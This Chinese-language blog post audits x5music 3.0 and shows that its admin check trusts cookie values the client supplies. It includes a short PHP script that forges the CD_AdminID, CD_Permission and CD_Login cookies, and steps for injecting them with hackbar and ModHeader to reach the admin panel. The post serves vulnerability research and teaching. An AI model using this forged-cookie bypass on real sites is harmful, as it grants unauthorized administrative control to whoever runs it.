x5music3.0后台权限绕过审计

环境搭建

https://pan.baidu.com/s/1lDhkA_59Vcc3MnM2lsmlxg?pwd=e9jc

  • x5music v3.0
  • Apache
  • php 5.5.38
  • mysql 5.5.53

image-20250106095904846

审计分析

  1. 首先登录看看管理员页面,后台地址是 http://127.0.0.1/cms/x5music3.0/x5admin/admin_index.php

image-20250106101737893

  1. 接着我们注销管理员账号,再次访问 http://127.0.0.1/cms/x5music3.0/x5admin/admin_index.php,提示我们重新登录,说明这些管理员的页面肯定是有一些鉴权的函数的(废话肯定有啊),接着我们跟进到代码层去找到那个鉴权函数,看看是否能绕过,使得我们不知道管理员密码也能登录管理员账号

image-20250106101825168

  1. 既然后台是/x5admin/admin_index.php 路径,那么我直接看admin_index.php文件,寻找鉴权的逻辑或函数

发现这个admincheck()很可疑啊

image-20250106102216471

在/x5admin/目录下的多个文件都有admincheck()函数,那么它多半就是后台的鉴权函数了

image-20250106102342374

  1. 跟进admincheck()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function admincheck($value) {
if(empty($_COOKIE['CD_AdminID']) || empty($_COOKIE['CD_Login']) || $_COOKIE['CD_Login']!==md5($_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission'])) {
showmessage("出错了,登录已过期,请重新登录!", "admin_login.php", 0);
}
if(!empty($_COOKIE['CD_Permission'])) {
$array=explode(",", $_COOKIE['CD_Permission']);
$adminlogined=false;
for($i=0; $i<count($array); $i++) {
if($array[$i]==$value) {
$adminlogined=true;
}
}
if(!$adminlogined) {
showmessage("出错了,您没有进入本页面的权限!", "", 2);
}
} else {
showmessage("出错了,您没有进入本页面的权限!", "", 2);
}
}

可以看到逻辑其实挺简单的,只需满足:

1
2
$_COOKIE['CD_AdminID']),$_COOKIE['CD_Login']不为空
$_COOKIE['CD_Login']的值等于:"$_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission']"几个值拼接后的MD5值,就能过第一个验证判断
1
2
3
4
$_COOKIE['CD_Permission'])不为空,进入第二个判断
分割取$_COOKIE['CD_Permission']的值
遍历$_COOKIE['CD_Permission']中分割后的值,让每一个值都等于admincheck()传入的值$value
这样$adminlogined就为true了,标识我们已经登录为了管理员

构造payload

其实只需要:

1
2
$_COOKIE['CD_AdminID']),$_COOKIE['CD_Login'],$_COOKIE['CD_Permission'])不为空,其他值没有判空不用管
$_COOKIE['CD_AdminID'])设为1,$_COOKIE['CD_Permission'])设为1,$_COOKIE['CD_Login']等于它们拼接后的md5值

写个脚本:

1
2
3
4
5
6
7
<?php
error_reporting(0);
$_COOKIE['CD_AdminID'] = 1;
$_COOKIE['CD_Permission'] = '1';
$_COOKIE['CD_Login'] = md5($_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission']);
echo "cookie:CD_AdminID={$_COOKIE['CD_AdminID']};CD_Permission={$_COOKIE['CD_Permission']};CD_Login={$_COOKIE['CD_Login']}";
?>

image-20250106110141672

漏洞触发

使用hackbar,填入构造好的Cookie,访问后台地址

image-20250106110311233

成功进入后台!

但是一刷新就没有登录状态了,可以使用谷歌Modheader插件把Cookie固定一下,这样刷新也不会退出了

image-20250106111643015